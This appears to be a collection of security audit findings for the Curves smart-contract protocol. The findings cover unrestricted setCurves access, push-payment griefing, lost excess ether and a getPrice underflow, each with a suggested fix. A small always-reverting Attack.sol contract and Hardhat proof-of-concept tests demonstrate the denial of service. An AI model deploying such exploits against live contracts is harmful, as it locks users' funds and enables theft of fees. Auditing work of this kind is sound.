Code under review: 2024-01-Curves (660 nSLOC)
Contest Page: Curves-contest
FeeSplitter.sol, takes charge of fee distribution. Its role involves ensuring an equitable and precise allocation of transaction fees among token holders, aligning with the protocol's incentive framework.
Curves.sol serves as the central file for the Curves protocol, encapsulating essential logic and functions that dictate the system's overarching behavior and rules. The main issue comes from FeeSplitter.sol::setCurves()
The price of holder fees can be manipulated to the creator's advantage by increasing the holdersFee and claiming the rewards.
function setCurves(Curves curves_) public { //@audit if someone was to call balanceOf, it will change the price of tokens
curves = curves_;
}
In Curves.sol 2 functions are called FeeSplitter.sol::onBalanceChange() & FeeSplitter.sol::addFees()
function addFees(address token) public payable onlyManager {
uint256 totalSupply_ = totalSupply(token); //@audit Manipulatable
if (totalSupply_ == 0) revert NoTokenHolders();
TokenData storage data = tokensData[token];
data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_;
}
function onBalanceChange(address token, address account) public onlyManager {
TokenData storage data = tokensData[token];
data.userFeeOffset[account] = data.cumulativeFeePerToken;
if (balanceOf(token, account) > 0) userTokens[account].push(token); //@audit Manipulatable
}Users can call FeeSplitter.sol::setCurves() without restriction. This allow user to manipulate 2 crucial functions FeeSplitter.sol::balanceOf() & FeeSplitter.sol::totalSupply().
function balanceOf(address token, address account) public view returns (uint256) {
return curves.curvesTokenBalance(token, account) * PRECISION;
}
function totalSupply(address token) public view returns (uint256) {
//@dev: this is the amount of tokens that are not locked in the contract. The locked tokens are in the ERC20 contract
return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;
}Hence manipulating FeeSplitter.sol::batchClaiming() to get more rewards
function batchClaiming(address[] calldata tokenList) external {
uint256 totalClaimable = 0;
for (uint256 i = 0; i < tokenList.length; i++) {
address token = tokenList[i];
updateFeeCredit(token, msg.sender);
uint256 claimable = getClaimableFees(token, msg.sender);
if (claimable > 0) {
tokensData[token].unclaimedFees[msg.sender] = 0;
totalClaimable += claimable;
emit FeesClaimed(token, msg.sender, claimable);
}
}
if (totalClaimable == 0) revert NoFeesToClaim();
payable(msg.sender).transfer(totalClaimable);
}Manual Review
Implement access control for setCurves.
Access Control
The _transferFees() function utilizes a push-over-pull method of transferring ether. A curvesSubject is the one who buys the first curves token and his address is the index for all the curve token logic. The curvesSubject denies his subjects(followers who own curves tokens) to sell the curvesSubject tokens.
The issue comes from allowing the curvesSubject to set the referral address. Which can be a contract that always reverts transactions.
There are 2 scenarios that curvesSubject can perform:
Grief the protocol by forcing his followers to hold the tokens. curvesSubject can buy lots of his tokens in the second round, then his subjects start to buy more of the tokens. Whenever his subjects want to sell tokens, he will front-run to "lock" the protocol and then "unlock" it. Whenever a follower wants to buy, he will not "lock" it, thus boosting his curvesSubject. At the peak of the price, he then dumps all of it.
Users are not able to sell their tokens and ether stuck in the contract. curvesSubject can manipulate the price to his favor as per 2nd scenario.
diff --git a/contracts/Attack.sol b/contracts/Attack.sol
+ // SPDX-License-Identifier: MIT
+ pragma solidity 0.8.7;
+
+ contract Attack {
+ fallback() external payable {
+ revert();
+ }
+ }diff --git a/test/curves.ts b/test/curves.ts
index 4d31e57..42f7a07 100644
--- a/test/curves.ts
+++ b/test/curves.ts
@@ -22,7 +22,31 @@ describe("Curves Contract test", () => {
expect(true).to.equal(true);
});
});
+ describe.only("PoC", () => {
+ it("Push-Over-Pull Griefing", async () => {
+ await testContract.setMaxFeePercent(1000);
+ await testContract.setProtocolFeePercent(50,owner.address);
+ await testContract.setExternalFeePercent(1,900,1);
+ await testContract.buyCurvesToken(owner.address, 1);
+
+ const AttackerContract = await ethers.getContractFactory("Attack");
+ const attackerContract = await AttackerContract.deploy();
+
+ await testContract.connect(friend).buyCurvesToken(owner.address, 10,{value: ethers.utils.parseEther("10.0")});
+
+ //Set owner also known as `curveSubject` address
+ await testContract.setReferralFeeDestination(owner.address,attackerContract.address);
+ const referral = await testContract.referralFeeDestination(owner.address);
+ expect(referral).to.equal(attackerContract.address);
+
+ // Will revert
+ await expect(testContract.connect(friend).sellCurvesToken(owner.address,10)).to.be.revertedWith('CannotSendFunds()');
+
+ });
Curves Contract test
PoC
✔ Push-Over-Pull GriefingManual Review
Enforce a pull-over-push payment system. Example
DoS
The transfer fees handle the transfer of ether, however, it does not check whether the ether received and tokens sent are equal.
The user loses excess ether sent for tokens received.
diff --git a/test/curves.ts b/test/curves.ts
index 4d31e57..e1a5b6e 100644
--- a/test/curves.ts
+++ b/test/curves.ts
@@ -22,7 +22,22 @@ describe("Curves Contract test", () => {
expect(true).to.equal(true);
});
});
+ describe.only("PoC", () => {
+ it("No refund of Excess Ether", async () => {
+ await testContract.setMaxFeePercent(1000);
+ await testContract.setProtocolFeePercent(50,owner.address);
+ await testContract.setExternalFeePercent(1,900,1);
+ await testContract.buyCurvesToken(owner.address, 1);
+
+ //Buy 1 token for 10 ether.
+ await testContract.connect(friend).buyCurvesToken(owner.address, 1,{value: ethers.utils.parseEther("10.0")});
+ const token_balance = await testContract.curvesTokenBalance(owner.address,friend.address);
+ expect(token_balance).to.be.equal(1);
+ });
+
+
+ });Manual Review
Ensure that the ether sent and the amount are the same.
ETH-Transfer
Upon market opening, the initial supply is set to 0. If the purchase quantity is not equal to 1, the execution involves subtracting 1 from the supply and then adding the purchase amount. This operation results in a supply of -1, which poses an issue as uint256 is an unsigned integer type incapable of representing negative values. Consequently, this triggers an unexpected runtime error and leads to a transaction error.
Unexpected revert to users, causing them to lose gas fees and not buy more curve tokens.
function getPrice(uint256 supply, uint256 amount) public pure returns (uint256) {
uint256 sum1 = supply == 0 ? 0 : ((supply - 1) * (supply) * (2 * (supply - 1) + 1)) / 6;
uint256 sum2 = supply == 0 && amount == 1 //@audit run time error
? 0
: ((supply - 1 + amount) * (supply + amount) * (2 * (supply - 1 + amount) + 1)) / 6;
uint256 summation = sum2 - sum1;
return (summation * 1 ether) / 16000;
}
Manual Review
Include the if statement to revert as expected to prevent unexpected run time error.
function getPrice(uint256 supply, uint256 amount) public pure returns (uint256) {
+ // Revert if supply is 0 and amount is greater than 1
+ if (supply == 0 && amount > 1) {
+ revert("Invalid input: Supply is 0, and amount is greater than 1");
+ }
uint256 sum1 = supply == 0 ? 0 : ((supply - 1) * (supply) * (2 * (supply - 1) + 1)) / 6;
uint256 sum2 = supply == 0 && amount == 1
? 0
: ((supply - 1 + amount) * (supply + amount) * (2 * (supply - 1 + amount) + 1)) / 6;
uint256 summation = sum2 - sum1;
return (summation * 1 ether) / 16000;
}Error